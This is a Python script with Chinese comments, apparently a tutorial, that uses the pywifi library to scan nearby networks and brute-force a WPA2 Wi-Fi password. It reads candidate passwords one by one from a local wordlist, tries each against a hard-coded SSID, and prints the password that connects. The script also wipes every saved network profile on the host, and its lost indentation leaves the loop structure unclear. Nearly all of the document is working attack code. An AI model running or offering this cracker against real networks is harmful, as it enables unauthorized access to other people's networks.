import pywifi
from pywifi import const #应用一些常量模块
#创建一个无线对象
wifi = pywifi.PyWiFi()
#收获第一个无线网卡
ifaces = wifi.interfaces()[0]
#获取到第一个无线网卡
print(ifaces)
print('第一个无线网卡名为:',ifaces.name())
#打印网卡连接状态码
print("状态码为:",ifaces.status()) #连接到wifi,状态码是4,未连接是0
if ifaces.status() == const.IFACE_CONNECTED: #const.IFACE_CONNECTED为4
print('wifi已连接')
else:
print('未连接')
wifi = pywifi.PyWiFi()
ifaces = wifi.interfaces()[0] #获取第一个无线网卡
#扫描WiFi
ifaces.scan()
#获取扫描结果
result = ifaces.scan_results()
print(result)
for data in result:
print(data.ssid) #返回附近WiFi名称
思路:
import pywifi
from pywifi import const #应用一些常量模块
import time
def readPassword(ifaces):
flag = 0
print('开始破解:')
#以读取方式打开密码本文件
f = open(r"F:\python数据处理案例存放处\pywifi模块的使用与破解wifi密码\密码本.txt","r")
while True:
#读取文件错误则跳出本次循环
try_password = f.readline()
bool = wificonnect(try_password,ifaces)
if bool:
print("密码正确",try_password)
flag = 1
break #结束循环
else:
print("密码错误",try_password)
'''
except:
print('错误读取')
break
'''
if flag == 0:
print('密码本中无有效密码')
f.close()
#测试连接 返回连接结果
def wificonnect(try_password,ifaces):
#获取网卡状态
wifistatus = ifaces.status()
#测试是否连接,未连接情况下来破解
if wifistatus == const.IFACE_DISCONNECTED: #const.IFACE_DISCONNECTED为0,为未连接时的状态参数
print('未连接')
#创建wifi连接文件对象 来进行wifi连接
profile = pywifi.Profile()
#给对象要连接wifi的名称
profile.ssid = "NG"
#使网卡开放 profile.auth是网卡的开放状态
profile.auth = const.AUTH_ALG_OPEN
#设置WIFI的加密算法 一般为AKM_TYPE_WPA2PSK
profile.akm.append(const.AKM_TYPE_WPA2PSK)
#设置文件加密单元
profile.cipher = const.CIPHER_TYPE_CCMP
#密码
profile.key = try_password
#删除所有WiFi文件
ifaces.remove_all_network_profiles()
#设定新的连接文件
tep_profile = ifaces.add_network_profile(profile)
#进行连接
ifaces.connect(tep_profile)
#延迟4s作为wifi连接的时间
time.sleep(4)
if ifaces.status() == const.IFACE_CONNECTED:
return True
else:
return False
else:
print('wifi已连接')
def init(): #初始化设置,返回网卡模块
#抓取网卡接口
wifi = pywifi.PyWiFi()
#获取第一个网卡
ifaces = wifi.interfaces()[0]
#断开所有连接
ifaces.disconnect()
#设置1s延时
time.sleep(1)
return ifaces
if __name__ == '__main__':
ifaces = init()
readPassword(ifaces)